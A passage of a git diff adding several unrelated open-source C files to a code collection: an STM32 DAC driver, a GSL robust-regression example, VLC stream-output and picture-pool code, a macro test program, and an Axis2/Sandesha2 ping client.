+ *    this list of conditions and the following disclaimer in the documentation
+ *    and/or other materials provided with the distribution.
+ * 3. Neither the name of STMicroelectronics nor the names of its contributors
+ *    may be used to endorse or promote products derived from this software
+ *    without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+#include "analogout_api.h"
+
+#if DEVICE_ANALOGOUT
+
+#include "cmsis.h"
+#include "pinmap.h"
+#include "error.h"
+#include "stm32f4xx_hal.h"
+
+#define RANGE_12BIT (0xFFF)
+
+DAC_HandleTypeDef    DacHandle;
+static DAC_ChannelConfTypeDef sConfig;
+
+static const PinMap PinMap_DAC[] = {
+    {PA_4, DAC_0, STM_PIN_DATA(STM_MODE_ANALOG, GPIO_NOPULL, 0xFF)}, // DAC_OUT1
+    {PA_5, DAC_1, STM_PIN_DATA(STM_MODE_ANALOG, GPIO_NOPULL, 0xFF)}, // DAC_OUT2
+    {NC,   NC,    0}
+};
+
+void analogout_init(dac_t *obj, PinName pin)
+{
+    uint32_t channel ;
+    HAL_StatusTypeDef status;
+
+    // Get the peripheral name (DAC_1, ...) from the pin and assign it to the object
+    obj->dac = (DACName)pinmap_peripheral(pin, PinMap_DAC);
+
+    if (obj->dac == (DACName)NC) {
+        error("DAC pin mapping failed");
+    }
+
+    // Configure GPIO
+    pinmap_pinout(pin, PinMap_DAC);
+
+    // Save the channel for the write and read functions
+    obj->channel = pin;
+
+    __GPIOA_CLK_ENABLE();
+
+    __DAC_CLK_ENABLE();
+
+    DacHandle.Instance = DAC;
+
+    status = HAL_DAC_Init(&DacHandle);
+    if ( status != HAL_OK ) {
+        error("HAL_DAC_Init failed");
+    }
+
+    sConfig.DAC_Trigger = DAC_TRIGGER_NONE;
+    sConfig.DAC_OutputBuffer = DAC_OUTPUTBUFFER_ENABLE;
+
+    if (obj->channel == PA_4) {
+        channel = DAC_CHANNEL_1; 
+    } else {
+        channel = DAC_CHANNEL_2;
+    }
+
+    if (HAL_DAC_ConfigChannel(&DacHandle, &sConfig, channel) != HAL_OK) {
+        error("HAL_DAC_ConfigChannel failed");
+    }
+
+    if (HAL_DAC_Start(&DacHandle, channel) != HAL_OK) {
+        error("HAL_DAC_Start failed");
+    }
+
+    if (HAL_DAC_SetValue(&DacHandle, channel, DAC_ALIGN_12B_R, 0x000) != HAL_OK) {
+        error("HAL_DAC_SetValue failed");
+    }
+
+}
+
+void analogout_free(dac_t *obj)
+{
+}
+
+static inline void dac_write(dac_t *obj, uint16_t value)
+{
+    HAL_StatusTypeDef status = HAL_ERROR;
+
+    if (obj->channel == PA_4) {
+        status = HAL_DAC_SetValue(&DacHandle, DAC_CHANNEL_1, DAC_ALIGN_12B_R, value);
+    } else if (obj->channel == PA_5) {
+        status = HAL_DAC_SetValue(&DacHandle, DAC_CHANNEL_2, DAC_ALIGN_12B_R, value);
+    }
+
+    if ( status != HAL_OK ) {
+        error("ADC pin mapping failed");
+    }
+}
+
+static inline int dac_read(dac_t *obj)
+{
+    if (obj->channel == PA_4) {
+        return (int)HAL_DAC_GetValue(&DacHandle, DAC_CHANNEL_1);
+    } else if (obj->channel == PA_5) {
+        return (int)HAL_DAC_GetValue(&DacHandle, DAC_CHANNEL_2);
+    }
+	return 0;	/* Just silented warning */
+}
+
+void analogout_write(dac_t *obj, float value)
+{
+    if (value < 0.0f) {
+        dac_write(obj, 0); // Min value
+    } else if (value > 1.0f) {
+        dac_write(obj, (uint16_t)RANGE_12BIT); // Max value
+    } else {
+        dac_write(obj, (uint16_t)(value * (float)RANGE_12BIT));
+    }
+}
+
+void analogout_write_u16(dac_t *obj, uint16_t value)
+{
+    if (value > (uint16_t)RANGE_12BIT) {
+        value = (uint16_t)RANGE_12BIT; // Max value
+    }
+
+    dac_write(obj, value);
+}
+
+float analogout_read(dac_t *obj)
+{
+
+    uint32_t value = dac_read(obj);
+    return (float)value * (1.0f / (float)RANGE_12BIT);
+}
+
+uint16_t analogout_read_u16(dac_t *obj)
+{
+    return (uint16_t)dac_read(obj);
+}
+
+#endif // DEVICE_ANALOGOUT
diff --git a/pool/shard001/C/0023120_robfit.c b/pool/shard001/C/0023120_robfit.c
new file mode 100644
index 0000000000000000000000000000000000000000..81e95beda998bb5f6d2b23843fd3db4099ef1fd2
--- /dev/null
+++ b/pool/shard001/C/0023120_robfit.c
@@ -0,0 +1,122 @@
+#include <stdio.h>
+#include <gsl/gsl_multifit.h>
+#include <gsl/gsl_randist.h>
+
+int
+dofit(const gsl_multifit_robust_type *T,
+      const gsl_matrix *X, const gsl_vector *y,
+      gsl_vector *c, gsl_matrix *cov)
+{
+  int s;
+  gsl_multifit_robust_workspace * work 
+    = gsl_multifit_robust_alloc (T, X->size1, X->size2);
+
+  s = gsl_multifit_robust (X, y, c, cov, work);
+  gsl_multifit_robust_free (work);
+
+  return s;
+}
+
+int
+main (int argc, char **argv)
+{
+  size_t i;
+  size_t n;
+  const size_t p = 2; /* linear fit */
+  gsl_matrix *X, *cov;
+  gsl_vector *x, *y, *c, *c_ols;
+  const double a = 1.45; /* slope */
+  const double b = 3.88; /* intercept */
+  gsl_rng *r;
+
+  if (argc != 2)
+    {
+      fprintf (stderr,"usage: robfit n\n");
+      exit (-1);
+    }
+
+  n = atoi (argv[1]);
+
+  X = gsl_matrix_alloc (n, p);
+  x = gsl_vector_alloc (n);
+  y = gsl_vector_alloc (n);
+
+  c = gsl_vector_alloc (p);
+  c_ols = gsl_vector_alloc (p);
+  cov = gsl_matrix_alloc (p, p);
+
+  r = gsl_rng_alloc(gsl_rng_default);
+
+  /* generate linear dataset */
+  for (i = 0; i < n - 3; i++)
+    {
+      double dx = 10.0 / (n - 1.0);
+      double ei = gsl_rng_uniform(r);
+      double xi = -5.0 + i * dx;
+      double yi = a * xi + b;
+
+      gsl_vector_set (x, i, xi);
+      gsl_vector_set (y, i, yi + ei);
+    }
+
+  /* add a few outliers */
+  gsl_vector_set(x, n - 3, 4.7);
+  gsl_vector_set(y, n - 3, -8.3);
+
+  gsl_vector_set(x, n - 2, 3.5);
+  gsl_vector_set(y, n - 2, -6.7);
+
+  gsl_vector_set(x, n - 1, 4.1);
+  gsl_vector_set(y, n - 1, -6.0);
+
+  /* construct design matrix X for linear fit */
+  for (i = 0; i < n; ++i)
+    {
+      double xi = gsl_vector_get(x, i);
+
+      gsl_matrix_set (X, i, 0, 1.0);
+      gsl_matrix_set (X, i, 1, xi);
+    }
+
+  /* perform robust and OLS fit */
+  dofit(gsl_multifit_robust_ols, X, y, c_ols, cov);
+  dofit(gsl_multifit_robust_bisquare, X, y, c, cov);
+
+  /* output data and model */
+  for (i = 0; i < n; ++i)
+    {
+      double xi = gsl_vector_get(x, i);
+      double yi = gsl_vector_get(y, i);
+      gsl_vector_view v = gsl_matrix_row(X, i);
+      double y_ols, y_rob, y_err;
+
+      gsl_multifit_robust_est(&v.vector, c, cov, &y_rob, &y_err);
+      gsl_multifit_robust_est(&v.vector, c_ols, cov, &y_ols, &y_err);
+
+      printf("%g %g %g %g\n", xi, yi, y_rob, y_ols);
+    }
+
+#define C(i) (gsl_vector_get(c,(i)))
+#define COV(i,j) (gsl_matrix_get(cov,(i),(j)))
+
+  {
+    printf ("# best fit: Y = %g + %g X\n", 
+            C(0), C(1));
+
+    printf ("# covariance matrix:\n");
+    printf ("# [ %+.5e, %+.5e\n",
+               COV(0,0), COV(0,1));
+    printf ("#   %+.5e, %+.5e\n", 
+               COV(1,0), COV(1,1));
+  }
+
+  gsl_matrix_free (X);
+  gsl_vector_free (x);
+  gsl_vector_free (y);
+  gsl_vector_free (c);
+  gsl_vector_free (c_ols);
+  gsl_matrix_free (cov);
+  gsl_rng_free(r);
+
+  return 0;
+}
diff --git a/pool/shard001/C/0023130_gather.c b/pool/shard001/C/0023130_gather.c
new file mode 100644
index 0000000000000000000000000000000000000000..2729128d8d5c62c5e74334f4b2d4a3a467f4614e
--- /dev/null
+++ b/pool/shard001/C/0023130_gather.c
@@ -0,0 +1,218 @@
+/*****************************************************************************
+ * gather.c: gathering stream output module
+ *****************************************************************************
+ * Copyright (C) 2003-2004 VLC authors and VideoLAN
+ * $Id: ebad0e1c1fe609b7516bd8367e060e0d71532bbb $
+ *
+ * Authors: Laurent Aimar <fenrir@via.ecp.fr>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as published by
+ * the Free Software Foundation; either version 2.1 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public License
+ * along with this program; if not, write to the Free Software Foundation,
+ * Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
+ *****************************************************************************/
+
+/*****************************************************************************
+ * Preamble
+ *****************************************************************************/
+
+#ifdef HAVE_CONFIG_H
+# include "config.h"
+#endif
+
+#include <vlc_common.h>
+#include <vlc_plugin.h>
+#include <vlc_input.h>
+#include <vlc_sout.h>
+#include <vlc_block.h>
+
+/*****************************************************************************
+ * Module descriptor
+ *****************************************************************************/
+static int      Open    ( vlc_object_t * );
+static void     Close   ( vlc_object_t * );
+
+vlc_module_begin ()
+    set_description( N_("Gathering stream output") )
+    set_capability( "sout stream", 50 )
+    add_shortcut( "gather" )
+    set_callbacks( Open, Close )
+vlc_module_end ()
+
+/*****************************************************************************
+ * Exported prototypes
+ *****************************************************************************/
+static sout_stream_id_sys_t *Add ( sout_stream_t *, es_format_t * );
+static int               Del ( sout_stream_t *, sout_stream_id_sys_t * );
+static int               Send( sout_stream_t *, sout_stream_id_sys_t *, block_t* );
+
+struct sout_stream_id_sys_t
+{
+    bool    b_used;
+    bool    b_streamswap;
+
+    es_format_t fmt;
+    void          *id;
+};
+
+struct sout_stream_sys_t
+{
+    int              i_id;
+    sout_stream_id_sys_t **id;
+};
+
+/*****************************************************************************
+ * Open:
+ *****************************************************************************/
+static int Open( vlc_object_t *p_this )
+{
+    sout_stream_t     *p_stream = (sout_stream_t*)p_this;
+    sout_stream_sys_t *p_sys;
+
+    p_stream->p_sys = p_sys = malloc( sizeof( sout_stream_sys_t ) );
+    if( p_sys == NULL )
+        return VLC_EGENERIC;
+
+    if( !p_stream->p_next )
+    {
+        free( p_sys );
+        return VLC_EGENERIC;
+    }
+    p_stream->pf_add    = Add;
+    p_stream->pf_del    = Del;
+    p_stream->pf_send   = Send;
+
+    TAB_INIT( p_sys->i_id, p_sys->id );
+
+    return VLC_SUCCESS;
+}
+
+/*****************************************************************************
+ * Close:
+ *****************************************************************************/
+static void Close( vlc_object_t * p_this )
+{
+    sout_stream_t     *p_stream = (sout_stream_t*)p_this;
+    sout_stream_sys_t *p_sys = p_stream->p_sys;
+    int i;
+
+    for( i = 0; i < p_sys->i_id; i++ )
+    {
+        sout_stream_id_sys_t *id = p_sys->id[i];
+
+        sout_StreamIdDel( p_stream->p_next, id->id );
+        es_format_Clean( &id->fmt );
+        free( id );
+    }
+    TAB_CLEAN( p_sys->i_id, p_sys->id );
+
+    free( p_sys );
+}
+
+/*****************************************************************************
+ * Add:
+ *****************************************************************************/
+static sout_stream_id_sys_t * Add( sout_stream_t *p_stream, es_format_t *p_fmt )
+{
+    sout_stream_sys_t *p_sys = p_stream->p_sys;
+    sout_stream_id_sys_t  *id;
+    int i;
+
+    /* search a compatible output */
+    for( i = 0; i < p_sys->i_id; i++ )
+    {
+        id = p_sys->id[i];
+        if( id->b_used )
+            continue;
+
+        if( id->fmt.i_cat != p_fmt->i_cat || id->fmt.i_codec != p_fmt->i_codec )
+            continue;
+
+        if( id->fmt.i_cat == AUDIO_ES )
+        {
+            audio_format_t *p_a = &id->fmt.audio;
+            if( p_a->i_rate != p_fmt->audio.i_rate ||
+                p_a->i_channels != p_fmt->audio.i_channels ||
+                p_a->i_blockalign != p_fmt->audio.i_blockalign )
+                continue;
+        }
+        else if( id->fmt.i_cat == VIDEO_ES )
+        {
+            video_format_t *p_v = &id->fmt.video;
+            if( p_v->i_width != p_fmt->video.i_width ||
+                p_v->i_height != p_fmt->video.i_height )
+                continue;
+        }
+
+        /* */
+        msg_Dbg( p_stream, "reusing already opened output" );
+        id->b_used = true;
+        id->b_streamswap = true;
+        return id;
+    }
+
+    /* destroy all outputs from the same category */
+    for( i = 0; i < p_sys->i_id; i++ )
+    {
+        id = p_sys->id[i];
+        if( !id->b_used && id->fmt.i_cat == p_fmt->i_cat )
+        {
+            TAB_REMOVE( p_sys->i_id, p_sys->id, id );
+            sout_StreamIdDel( p_stream->p_next, id->id );
+            es_format_Clean( &id->fmt );
+            free( id );
+
+            i = 0;
+            continue;
+        }
+    }
+
+    msg_Dbg( p_stream, "creating new output" );
+    id = malloc( sizeof( sout_stream_id_sys_t ) );
+    if( id == NULL )
+        return NULL;
+    es_format_Copy( &id->fmt, p_fmt );
+    id->b_used           = true;
+    id->id               = sout_StreamIdAdd( p_stream->p_next, &id->fmt );
+    if( id->id == NULL )
+    {
+        free( id );
+        return NULL;
+    }
+	TAB_APPEND((sout_stream_id_sys_t **), p_sys->i_id, p_sys->id, id);			// sunqueen modify
+
+    return id;
+}
+
+/*****************************************************************************
+ * Del:
+ *****************************************************************************/
+static int Del( sout_stream_t *p_stream, sout_stream_id_sys_t *id )
+{
+    VLC_UNUSED(p_stream);
+    id->b_used = false;
+    return VLC_SUCCESS;
+}
+
+/*****************************************************************************
+ * Send:
+ *****************************************************************************/
+static int Send( sout_stream_t *p_stream,
+                 sout_stream_id_sys_t *id, block_t *p_buffer )
+{
+    if ( id->b_streamswap )
+    {
+        id->b_streamswap = false;
+        p_buffer->i_flags |= BLOCK_FLAG_DISCONTINUITY;
+    }
+    return sout_StreamIdSend( p_stream->p_next, id->id, p_buffer );
+}
diff --git a/pool/shard001/C/0023132_ctests.c b/pool/shard001/C/0023132_ctests.c
new file mode 100644
index 0000000000000000000000000000000000000000..e49d0ce9421d07769fc8b0343a71e034a247d161
--- /dev/null
+++ b/pool/shard001/C/0023132_ctests.c
@@ -0,0 +1,117 @@
+#include <stdio.h>
+#include "csample.h"
+#include "csample1.h"
+#include "csample2.h"
+#include "csample3.h"
+#include "csample4.h"
+
+static long	 left	= 9000000000000,
+		 right	= 7000000000000,
+		 centre = 3000000000000,
+		 or_mask	= 0x5a5a5a5a5a5a,
+		 xor_mask	= 0xFFFF999999999999,
+		 and_mask	= 0xFFFF0000FFFF,
+		 long_scale_left	= 9,
+		 long_scale_right	= 3,
+		 long_multiplier	= 6000000000,
+		 long_divisor		= 3000000000;
+
+static int	 scale_left	= 8,
+		 scale_right	= 4,
+		 multiplier	= 5000,
+		 divisor	= 2500,
+		 or_short	= 0xC00000,
+		 xor_short	= -1,
+		 and_short	= -8,
+		 short_left	= 2000000,
+		 short_right	= 4000000,
+		 short_centre	= 6000000;
+
+static int	*indirect_scale_right	= &scale_right;
+static int	*indirect_scale_left	= &scale_left;
+
+static unsigned	 and_u32	= -8;
+
+static int	 one = 1,
+		 two = 2,
+		 four = 4,
+		 eight = 8,
+		 sixteen = 16;
+
+int main()
+{
+   printf("%ld\n", TEST1);
+   printf("%ld\n", TEST2);
+   printf("%ld\n", TEST3);
+   printf("%ld\n", TEST4);
+   printf("%ld\n", TEST5);
+   printf("%ld\n", TEST6);
+   printf("%ld\n", TEST7);
+   printf("%d\n", TEST8);
+   printf("%d\n", TEST9);
+   printf("%ld\n", TEST10);
+   printf("%ld\n", (long) TEST11);
+   printf("%ld\n", TEST12);
+
+//   printf("TEST21 not feasible on 64-bit PC using clang %s\n", "TEST21");
+//   printf("TEST22 not feasible on 64-bit PC using clang %s\n", "TEST22");
+   printf("%ld\n", TEST21);
+   printf("%ld\n", TEST22);
+   printf("%ld\n", TEST23);
+   printf("%ld\n", TEST24);
+   printf("%ld\n", TEST25);
+   printf("%ld\n", TEST26);
+   printf("%ld\n", TEST27);
+   printf("%ld\n", TEST28);
+   printf("%ld\n", TEST29);
+
+   printf("%ld\n", TEST31);
+   printf("%ld\n", TEST32);
+   printf("%ld\n", TEST33);
+   printf("%ld\n", TEST34);
+   printf("%ld\n", TEST35);
+   printf("%ld\n", TEST36);
+
+   printf("%d\n", TEST37);
+   printf("%d\n", TEST38);
+   printf("%d\n", TEST39);
+   printf("%d\n", TEST40);
+   printf("%d\n", TEST41);
+   printf("%d\n", TEST42);
+
+   printf("%ld\n", TEST45);
+   printf("%ld\n", TEST46);
+   printf("%ld\n", TEST47);
+   printf("%ld\n", TEST48);
+   printf("%ld\n", TEST49);
+   printf("%ld\n", TEST50);
+
+   printf("%d\n", TEST51);
+   printf("%d\n", TEST52);
+   printf("%d\n", TEST53);
+   printf("%d\n", TEST54);
+   printf("%d\n", TEST55);
+   printf("%d\n", TEST56);
+
+   printf("%ld\n", TEST61);
+   printf("%ld\n", TEST62);
+   printf("%ld\n", TEST63);
+   printf("%ld\n", TEST64);
+   printf("%ld\n", TEST65);
+   printf("%ld\n", TEST66);
+
+   printf("%ld\n", TEST71);
+   printf("%ld\n", TEST72);
+   printf("%ld\n", TEST73);
+   printf("%ld\n", TEST74);
+
+   printf("%ld\n", TEST75);
+   printf("%ld\n", TEST76);
+
+   printf("%ld\n", TEST80);
+   printf("%ld\n", TEST81);
+   printf("%ld\n", TEST82);
+   printf("%ld\n", TEST83);
+   printf("%ld\n", TEST84);
+   return 0;
+}
diff --git a/pool/shard001/C/0023156_rm_ping_1_0.c b/pool/shard001/C/0023156_rm_ping_1_0.c
new file mode 100644
index 0000000000000000000000000000000000000000..8e29463a406f42c1b8a08790e892f8a521420906
--- /dev/null
+++ b/pool/shard001/C/0023156_rm_ping_1_0.c
@@ -0,0 +1,227 @@
+/*
+ * Copyright 2004,2005 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdio.h>
+#include <axiom.h>
+#include <axis2_util.h>
+#include <axiom_soap.h>
+#include <axis2_client.h>
+#include <sandesha2_client_constants.h>
+#include <sandesha2_constants.h>
+#include <ctype.h>
+#include <neethi_util.h>
+#include <neethi_policy.h>
+
+#define SANDESHA2_SLEEP 2
+
+axiom_node_t *
+build_om_programatically(
+    const axutil_env_t *env,
+    axis2_char_t *text,
+    axis2_char_t *seq_key);
+
+int main(int argc, char** argv)
+{
+    const axutil_env_t *env = NULL;
+    const axis2_char_t *address = NULL;
+    axis2_endpoint_ref_t* endpoint_ref = NULL;
+    axis2_options_t *options = NULL;
+    const axis2_char_t *client_home = NULL;
+    axis2_svc_client_t* svc_client = NULL;
+    axiom_node_t *payload = NULL;
+    axis2_status_t status = AXIS2_FAILURE;
+    axutil_property_t *property = NULL;
+    axis2_char_t *seq_key = NULL;
+    neethi_policy_t *policy = NULL;
+    
+    /* Set up the environment */
+    env = axutil_env_create_all("rm_ping_1_0_amqp.log", AXIS2_LOG_LEVEL_TRACE);
+
+    /* Set end point reference of echo service */
+    address = "amqp://127.0.0.1:5672/axis2/services/RM10SampleService";
+    if (argc > 1)
+    {
+        if (axutil_strcmp(argv[1], "-h") == 0)
+        {
+            printf("Usage : %s [endpoint_url]\n", argv[0]);
+            printf("use -h for help\n");
+            return 0;
+        }
+        else
+        {
+            address = argv[1];
+        }
+    }
+
+    printf ("Using endpoint : %s\n", address);
+    
+    /* Create EPR with given address */
+    endpoint_ref = axis2_endpoint_ref_create(env, address);
+
+    /* Setup options */
+    options = axis2_options_create(env);
+    axis2_options_set_xml_parser_reset(options, env, AXIS2_FALSE);
+    if(endpoint_ref)
+    {
+        axis2_options_set_to(options, env, endpoint_ref);
+    }
+
+    axis2_options_set_action(options, env, "urn:wsrm:Ping");
+
+    /* Set up deploy folder. It is from the deploy folder, the configuration is 
+     * picked up using the axis2.xml file.
+     * In this sample client_home points to the Axis2/C default deploy folder. 
+     * The client_home can be different from this folder on your system. For 
+     * example, you may have a different folder (say, my_client_folder) with its 
+     * own axis2.xml file. my_client_folder/modules will have the modules that 
+     * the client uses
+     */
+    client_home = AXIS2_GETENV("AXIS2C_HOME");
+    if (!client_home)
+    {
+        client_home = "../../..";
+    }
+
+    /* Create service client */
+    svc_client = axis2_svc_client_create(env, client_home);
+    if (!svc_client)
+    {
+        printf("Error creating service client\n");
+        AXIS2_LOG_ERROR(env->log, AXIS2_LOG_SI, "Stub invoke FAILED: Error code: %d :: %s",
+                env->error->error_number, AXIS2_ERROR_GET_MESSAGE(env->error));
+    }
+
+    /*Create the policy, from file*/
+    policy = neethi_util_create_policy_from_file(env, "../policy/rm10-policy.xml");
+    if(!policy)
+    {
+        printf("\nPolicy creation failed from the file");
+        return 0;
+    }
+
+    status = axis2_svc_client_set_policy(svc_client, env, policy);
+
+    if(status == AXIS2_FAILURE)
+    {
+        printf("Policy setting failed\n");
+    }
+
+    /* Set service client options */
+    axis2_svc_client_set_options(svc_client, env, options);    
+    
+    /* Engage addressing module */
+    axis2_svc_client_engage_module(svc_client, env, AXIS2_MODULE_ADDRESSING);
+    
+    axis2_svc_client_engage_module(svc_client, env, "sandesha2");
+    
+    /* RM Version 1.0 */
+    property = axutil_property_create_with_args(env, 0, 0, 0, SANDESHA2_SPEC_VERSION_1_0);
+    if(property)
+    {
+        axis2_options_set_property(options, env, SANDESHA2_CLIENT_RM_SPEC_VERSION, property);
+    }
+
+    seq_key = axutil_uuid_gen(env);
+    property = axutil_property_create_with_args(env, 0, 0, 0, seq_key);
+    if(property)
+    {
+        axis2_options_set_property(options, env, SANDESHA2_CLIENT_SEQ_KEY, property);
+    }
+    
+    /* Send request */
+    payload = build_om_programatically(env, "ping1", seq_key);
+    status = axis2_svc_client_send_robust(svc_client, env, payload);
+    if(status)
+    {
+        printf("\nping client invoke SUCCESSFUL!\n");
+    }
+    payload = NULL;
+    
+    payload = build_om_programatically(env, "ping2", seq_key);
+    status = axis2_svc_client_send_robust(svc_client, env, payload);
+    if(status)
+    {
+        printf("\nping client invoke SUCCESSFUL!\n");
+    }
+    payload = NULL;
+
+    property = axutil_property_create_with_args(env, 0, 0, 0, AXIS2_VALUE_TRUE);
+    axis2_options_set_property(options, env, "Sandesha2LastMessage", property);
+    payload = build_om_programatically(env, "ping3", seq_key);
+    status = axis2_svc_client_send_robust(svc_client, env, payload);
+    if(status)
+    {
+        printf("\nping client invoke SUCCESSFUL!\n");
+    }
+    
+     /** Wait till callback is complete. Simply keep the parent thread running
+       until our on_complete or on_error is invoked */
+
+    /*This sleep is for wait the main thread until sandesha sends the terminatesequence 
+     *messages. */
+
+    AXIS2_SLEEP(SANDESHA2_SLEEP);
+    AXIS2_FREE(env->allocator, seq_key);
+   
+    if (svc_client)
+    {
+        axis2_svc_client_free(svc_client, env);
+        svc_client = NULL;
+    }
+    
+    if (env)
+    {
+        axutil_env_free((axutil_env_t *) env);
+        env = NULL;
+    }
+
+    return 0;
+}
+
+/* build SOAP request message content using OM */
+axiom_node_t *
+build_om_programatically(
+    const axutil_env_t *env,
+    axis2_char_t *text,
+    axis2_char_t *seq)
+{
+    axiom_node_t *ping_om_node = NULL;
+    axiom_element_t* ping_om_ele = NULL;
+    axiom_node_t *text_om_node = NULL;
+    axiom_element_t* text_om_ele = NULL;
+    axiom_namespace_t *ns1 = NULL;
+    axis2_char_t *buffer = NULL;
+    axiom_node_t* seq_om_node = NULL;
+    axiom_element_t * seq_om_ele = NULL;
+
+    ns1 = axiom_namespace_create (env, "http://tempuri.org/", "ns1");
+    ping_om_ele = axiom_element_create(env, NULL, "ping", ns1, &ping_om_node);
+    text_om_ele = axiom_element_create(env, ping_om_node, "Text", ns1, &text_om_node);
+    seq_om_ele = axiom_element_create(env, ping_om_node, "Sequence", ns1, &seq_om_node);
+    axiom_element_set_text(text_om_ele, env, text, text_om_node);
+    axiom_element_set_text(text_om_ele, env, seq, seq_om_node);
+    
+    buffer = axiom_node_to_string(ping_om_node, env);
+    if(buffer)
+    {
+        printf("\nSending OM node in XML : %s \n",  buffer);
+        AXIS2_FREE(env->allocator, buffer);
+    }
+    return ping_om_node;
+}
+
+
+
diff --git a/pool/shard001/C/0023169_picture_pool.c b/pool/shard001/C/0023169_picture_pool.c
new file mode 100644
index 0000000000000000000000000000000000000000..05cfed139e90135c247f36233e489a3888c72038
--- /dev/null
+++ b/pool/shard001/C/0023169_picture_pool.c
@@ -0,0 +1,286 @@
+/*****************************************************************************
+ * picture_pool.c : picture pool functions
+ *****************************************************************************
+ * Copyright (C) 2009 the VideoLAN team
+ * Copyright (C) 2009 Laurent Aimar <fenrir _AT_ videolan _DOT_ org>
+ * $Id$
+ *
+ * Authors: Laurent Aimar <fenrir _AT_ videolan _DOT_ org>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
+ *****************************************************************************/
+
+/*****************************************************************************
+ * Preamble
+ *****************************************************************************/
+
+#ifdef HAVE_CONFIG_H
+# include "config.h"
+#endif
+#include <assert.h>
+
+#include <vlc_common.h>
+#include <vlc_picture_pool.h>
+
+/*****************************************************************************
+ *
+ *****************************************************************************/
+struct picture_release_sys_t {
+    /* Saved release */
+    void (*release)(picture_t *);
+    picture_release_sys_t *release_sys;
+
+    /* */
+    int  (*lock)(picture_t *);
+    void (*unlock)(picture_t *);
+
+    /* */
+    int64_t tick;
+};
+
+struct picture_pool_t {
+    /* */
+    picture_pool_t *master;
+    int64_t        tick;
+    /* */
+    int            picture_count;
+    picture_t      **picture;
+    bool           *picture_reserved;
+};
+
+static void Release(picture_t *);
+static int  Lock(picture_t *);
+static void Unlock(picture_t *);
+
+static picture_pool_t *Create(picture_pool_t *master, int picture_count)
+{
+    picture_pool_t *pool = calloc(1, sizeof(*pool));
+    if (!pool)
+        return NULL;
+
+    pool->master = master;
+    pool->tick = master ? master->tick : 1;
+    pool->picture_count = picture_count;
+    pool->picture = calloc(pool->picture_count, sizeof(*pool->picture));
+    pool->picture_reserved = calloc(pool->picture_count, sizeof(*pool->picture_reserved));
+    if (!pool->picture || !pool->picture_reserved) {
+        free(pool->picture);
+        free(pool->picture_reserved);
+        free(pool);
+        return NULL;
+    }
+    return pool;
+}
+
+picture_pool_t *picture_pool_NewExtended(const picture_pool_configuration_t *cfg)
+{
+    picture_pool_t *pool = Create(NULL, cfg->picture_count);
+    if (!pool)
+        return NULL;
+
+    for (int i = 0; i < cfg->picture_count; i++) {
+        picture_t *picture = cfg->picture[i];
+
+        /* The pool must be the only owner of the picture */
+        assert(picture->i_refcount == 1);
+
+        /* Install the new release callback */
+        picture_release_sys_t *release_sys = malloc(sizeof(*release_sys));
+        if (!release_sys)
+            abort();
+        release_sys->release     = picture->pf_release;
+        release_sys->release_sys = picture->p_release_sys;
+        release_sys->lock        = cfg->lock;
+        release_sys->unlock      = cfg->unlock;
+        release_sys->tick        = 0;
+
+        /* */
+        picture->i_refcount    = 0;
+        picture->pf_release    = Release;
+        picture->p_release_sys = release_sys;
+
+        /* */
+        pool->picture[i] = picture;
+        pool->picture_reserved[i] = false;
+    }
+    return pool;
+
+}
+
+picture_pool_t *picture_pool_New(int picture_count, picture_t *picture[])
+{
+    picture_pool_configuration_t cfg;
+
+    memset(&cfg, 0, sizeof(cfg));
+    cfg.picture_count = picture_count;
+    cfg.picture       = picture;
+
+    return picture_pool_NewExtended(&cfg);
+}
+
+picture_pool_t *picture_pool_NewFromFormat(const video_format_t *fmt, int picture_count)
+{
+    picture_t *picture[picture_count];
+
+    for (int i = 0; i < picture_count; i++) {
+        picture[i] = picture_NewFromFormat(fmt);
+        if (!picture[i])
+            goto error;
+    }
+    picture_pool_t *pool = picture_pool_New(picture_count, picture);
+    if (!pool)
+        goto error;
+
+    return pool;
+
+error:
+    for (int i = 0; i < picture_count; i++) {
+        if (!picture[i])
+            break;
+        picture_Release(picture[i]);
+    }
+    return NULL;
+}
+
